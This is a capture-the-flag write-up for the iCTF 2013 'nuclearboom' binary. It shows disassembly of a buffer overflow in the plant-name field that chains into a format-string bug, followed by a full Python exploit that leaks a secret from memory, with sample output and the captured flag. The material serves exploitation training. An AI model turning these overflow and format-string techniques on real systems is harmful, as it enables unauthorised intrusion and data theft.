code hacking, zen coding


iCTF 2013 CTF – Nuclearboom Writeup

Posted by aXs

$ file nuclearboom
nuclearboom: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped

Nuclearboom was a service binary in the iCTF 2013 Attack & Defense CTF. You use it to manage your various nuclear plants.

$ nc localhost 4444
Control Panel:
1) build a new nuclear plant
2) list existing nuclear plants
3) display info of a nuclear plant
4) edit an existing nuclear plant
5) get self-destruction code
6) set new self-destruction code
7) exit
Your choice: 5
Choice: 5
Password: lol?
Wrong password. And since the self-destruction code is exactly what the Sicilian hackers are supposed to get, I will not give it to you. I hope you understand.

We need to get the self-destruction code but we don't have the password.

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz  MemSiz   Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x000120 0x000120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x000013 0x000013 R   0x1
  [Requesting program interpreter: /lib/]
  LOAD           0x000000 0x08048000 0x08048000 0x002620 0x002620 R E 0x1000
  LOAD           0x002f14 0x0804bf14 0x0804bf14 0x0001b4 0x000240 RW  0x1000
  DYNAMIC        0x002f28 0x0804bf28 0x0804bf28 0x0000c8 0x0000c8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x000044 0x000044 R   0x4
  GNU_EH_FRAME   0x00219c 0x0804a19c 0x0804a19c 0x0000e4 0x0000e4 R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x000000 0x000000 RW  0x4
  GNU_RELRO      0x002f14 0x0804bf14 0x0804bf14 0x0000ec 0x0000ec R   0x1

Stack is not executable and .got/.dtor are read-only.

Where is the vulnerability ? After some disassembly and testing, we find a vulnerability in the sequence of checks of the "1) build a new nuclear plant" option.

Lets trace it in reverse order:

signed int __cdecl check_uranium_level(const char *plant_name)
  signed int status; // [sp+1Ch] [bp-Ch]@1

  status = 0;
  if ( *((_WORD *)plant_name + 54) <= 0 )
    status = 1;
    printf("ARE YOU CRAZY? Uranium in nuclear plant "");
" is TOO HIGH!");
  return status;

Same thing in assembler:

.text:08049426                 mov     eax, [ebp+plant_name]
.text:08049429                 movzx   eax, word ptr [eax+6Ch]
.text:0804942D                 mov     [ebp+uranium_level], ax
.text:08049431                 mov     [ebp+status], 0
.text:08049438                 cmp     [ebp+uranium_level], 0
.text:0804943D                 jle     short uranium_too_high
.text:0804943F                 mov     dword ptr [esp], offset aOk ; "OK"
.text:08049446                 call    _puts
.text:0804944B                 jmp     short exit
.text:0804944D ; ---------------------------------------------------------------------------
.text:0804944D uranium_too_high:                       ; CODE XREF: check_uranium_level+1Dj
.text:0804944D                 mov     [ebp+status], 1
.text:08049454                 mov     eax, offset aAreYouCrazy?Ur ; "ARE YOU CRAZY? Uranium in nuclear plant"...
.text:08049459                 mov     [esp], eax      ; format
.text:0804945C                 call    _printf
.text:08049461                 mov     eax, [ebp+plant_name]
.text:08049464                 mov     [esp], eax      ; format
.text:08049467                 call    _printf
.text:0804946C                 mov     dword ptr [esp], offset aIsTooHigh ; "" is TOO HIGH!"
.text:08049473                 call    _puts

In the check_uranium_level() function, there is an almost blinking format-string vulnerability. And when we add a new nuclear plant, we control the name so this is going to be very useful.

We need the uranium to be equal or lower than zero (remember this)

When is check_uranium_level() called ?

int __cdecl handle_plant_creation(plant_list *a1)
 ask_for_string((int)"Insert name: ", &plant_name, 0x70u);
  plant->id = plant_id;
  plant->oxygen = gen_random_num(150, 500);
  plant->carbon = gen_random_num(15, 100);
  plant->boron = gen_random_num(250, 800);
  plant->zirconium = gen_random_num(120, 900);
  plant->uranium = gen_random_num(10, 600);
  strcpy(plant->name, &plant_name);
  if ( check_secondary_elems_level((int)plant) )
    puts("Error. One of the secondary element level is too high!");
    if ( check_uranium_level(plant->name) )
      puts("Error. Uranium level is too high!");
      ++*(_DWORD *)&a1[1].plant[0];
      printf("Plant %s created successfully!\n", plant);

We can guess the various usage and size of the fields in the plant structure:

 0x0: name
0x64: oxygen
0x66: carbon
0x68: boron
0x6a: zirconium
0x6c: uranium
0x6e: id

IDA's Structure feature is extremely useful here, I used the following definition for the plant structure:

00000000 plant_struct    struc ; (sizeof=0x70)
00000000 name            db 100 dup(?)           ; string(C)
00000064 oxygen          dw ?
00000066 carbon          dw ?
00000068 boron           dw ?
0000006A zirconium       dw ?
0000006C uranium         dw ?
0000006E id              dw ?
00000070 plant_struct    ends

So to trigger our format-string vulnerability we need:
- Add a new plant
- Pass the secondary elements check
- Fail the Uranium check (uranium level <= 0) to trigger the debug message with the vulnerable printf But the uranium level is random generated: plant->uranium = gen_random_num(10, 600);

So we need to find a way to set the uranium level to zero or less.

Fortunately there is another vulnerability in the handle_plant_creation() function when dealing with the plant name, a good old buffer overflow:

ask_for_string((int)"Insert name: ", &plant_name, 112);

We accept 112 chars for the plant name while there is room for 100 chars in the plant structure: this will overwrite the element fields! Perfect for what we need. We will overwrite the secondary elements with valid values so that the check_secondary_elems_level() do not return an error and a negative value for the uranium level.

What can we do with the format string ? It's quite easy, we will use it to leak the self-destruction code or the password which are conveniently in the .bss section at fixed addresses:

.bss:0804C100 ; char auth_password[]
.bss:0804C100 auth_password   db 41h dup(?)           ; DATA XREF: main+2Ao
.bss:0804C100                                         ; main+4Co ...
.bss:0804C141                 public selfdestruction_code
.bss:0804C141 ; char selfdestruction_code[]
.bss:0804C141 selfdestruction_code db 11h dup(?)      ; DATA XREF: print_selfdestruction_code+Bo
.bss:0804C141                                         ; read_selfdestruction_file+38o ...

Enough explanations, lets move to the exploit:

import telnetlib
from struct import pack

ip = ''
port = 4444

tn = telnetlib.Telnet(ip, port)

tn.read_until("Your choice: ")
tn.read_until("Insert name: ")

# selfdestruction_code offset
format = pack("<I", 0x0804C141)
# Rewind the stack until the find the beginning of this buffer
# then use the first 4 bytes as a offset to display a string
format += "%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X|%s"
buffer = format
buffer += '|' * (46 + 54 - len(format))
# Valid values for the secondary elements
buffer += pack('<H', 666) # oxygen
buffer += pack('<H', 666) # carbon
buffer += pack('<H', 666) # boron
buffer += pack('<H', 666) # zirconium
# Negative value to trigger the vulnerable debug message
buffer += pack('<h', -1) # uranium
buffer += pack('<H', 666) # id
buffer += "\n"

s = tn.get_socket()

data = s.recv(1024)
print repr(data)
flag = data[136:].split('|')[1]
print "flag=", flag

tn.read_until("Your choice: ")


'ARE YOU CRAZY? Uranium in nuclear plant "A\xc1\x04\x086D603014B76C6FF4BFF66558B75B3FA470FFFF029A10BFF66E98BFF669A880491CEBFF66E28BFF66598700000000|FLGMVym8yKMeheic|||||||||||||||||||||||||||||||||||||||||||||||||||\x9a\x02\x9a\x02\x9a\x02\x9a\x02\xff\xff\x9a\x02" is TOO HIGH!\n'
flag= FLGMVym8yKMeheic